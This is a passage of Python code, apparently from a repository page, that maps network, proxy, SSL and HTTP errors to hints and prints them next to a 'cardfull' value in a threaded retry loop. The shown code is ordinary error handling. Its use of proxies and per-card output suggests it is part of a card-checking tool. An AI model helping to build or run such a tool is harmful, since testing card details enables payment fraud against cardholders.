|
||||
elif 'aborted' in err_msg: hint = 'Connection aborted — TLS drop or handshake cut.'
|
||||
elif 'broken pipe' in err_msg: hint = 'Broken pipe — connection unexpectedly closed.'
|
||||
elif 'terminated' in err_msg: hint = 'Connection terminated unexpectedly.'
|
||||
elif 'name or service not known' in err_msg: hint = 'DNS resolution failed — invalid or unreachable domain.'
|
||||
elif 'no route to host' in err_msg: hint = 'Network unreachable — routing issue or firewall.'
|
||||
elif 'network is unreachable' in err_msg: hint = 'No network route available.'
|
||||
elif 'host unreachable' in err_msg: hint = 'Host unreachable — mid-network issue.'
|
||||
else: hint = 'General connection error.'
|
||||
elif isinstance(e, exceptions.ProxyError):
|
||||
if 'cannot connect' in err_msg or 'unable to connect' in err_msg: hint = 'Proxy unreachable — host down or port blocked.'
|
||||
elif 'timed out' in err_msg: hint = 'Proxy timeout — slow or overloaded proxy.'
|
||||
elif 'tls' in err_msg or 'ssl' in err_msg: hint = 'Proxy SSL handshake failed — bad HTTPS proxy.'
|
||||
elif '407' in err_msg: hint = 'Proxy authentication required.'
|
||||
elif 'badgateway' in err_msg or '502' in err_msg: hint = 'Proxy bad gateway — upstream error.'
|
||||
elif 'invalid header' in err_msg: hint = 'Proxy returned invalid/malformed headers.'
|
||||
elif 'tunnel failed' in err_msg: hint = 'HTTP CONNECT tunnel could not be established.'
|
||||
else: hint = 'General proxy error.'
|
||||
elif isinstance(e, exceptions.InvalidURL):
|
||||
hint = 'Invalid URL — malformed or contains illegal characters.'
|
||||
elif 'locationparseerror' in error_type.lower():
|
||||
hint = 'URL parsing failed — possibly missing scheme or bad format.'
|
||||
elif 'failed to parse' in err_msg:
|
||||
hint = 'URL could not be parsed — check formatting.'
|
||||
elif 'invalid proxy' in err_msg:
|
||||
hint = 'Proxy format invalid — please check credentials or host format.'
|
||||
elif isinstance(e, (exceptions.SSLError, urllib3.exceptions.SSLError)):
|
||||
if 'certificate verify failed' in err_msg: hint = 'SSL certificate verification failed.'
|
||||
elif 'wrong version number' in err_msg: hint = 'SSL version mismatch — proxy/host using invalid TLS.'
|
||||
elif 'sslv3 alert handshake failure' in err_msg: hint = 'SSL handshake failure — cipher mismatch.'
|
||||
elif 'unknown protocol' in err_msg: hint = 'SSL protocol error — non-HTTPS on HTTPS port?'
|
||||
else: hint = 'General SSL/TLS error.'
|
||||
elif isinstance(e, exceptions.HTTPError):
|
||||
if '401' in err_msg: hint = 'Unauthorized — incorrect credentials.'
|
||||
elif '403' in err_msg: hint = 'Forbidden — server blocked access.'
|
||||
elif '404' in err_msg: hint = 'Resource not found.'
|
||||
elif '429' in err_msg: hint = 'Rate limited — too many requests.'
|
||||
elif '500' in err_msg: hint = 'Server error — try again later.'
|
||||
elif '502' in err_msg: hint = 'Bad gateway — upstream service error.'
|
||||
elif '503' in err_msg: hint = 'Service unavailable — overloaded or down.'
|
||||
elif '504' in err_msg: hint = 'Gateway timeout — upstream took too long.'
|
||||
else: hint = 'HTTP error occurred.'
|
||||
elif isinstance(e, urllib3.exceptions.NewConnectionError):
|
||||
hint = 'Failed to create a new connection — DNS blocked or invalid host.'
|
||||
elif isinstance(e, urllib3.exceptions.MaxRetryError):
|
||||
hint = 'Max retries exceeded — persistent connection failures.'
|
||||
elif isinstance(e, socket.gaierror):
|
||||
hint = 'DNS lookup failed — host cannot be resolved.'
|
||||
elif isinstance(e, socket.error):
|
||||
if 'refused' in err_msg: hint = 'Socket refused — server not accepting connections.'
|
||||
elif 'reset' in err_msg: hint = 'Socket reset — remote closed abruptly.'
|
||||
elif 'timed out' in err_msg: hint = 'Socket timeout.'
|
||||
elif 'blocked' in err_msg: hint = 'Port blocked by firewall or ISP.'
|
||||
else: hint = 'General low-level socket error.'
|
||||
|
||||
with print_lock:
|
||||
print(f"{Fore.LIGHTRED_EX} -» {Fore.LIGHTWHITE_EX}{cardfull} {Fore.LIGHTWHITE_EX}- {Fore.RED}-» {Fore.YELLOW}{error_type}: {hint}{Style.RESET_ALL}")
|
||||
|
||||
sess.close()
|
||||
# 如果异常发生,继续下一次重试,直到 max_attempts
|
||||
continue
|
||||
|
||||
# 循环结束
|
||||
sess.close()
|
||||
return ("Max attempts reached", None)
|
||||
Reference in New Issue
Block a user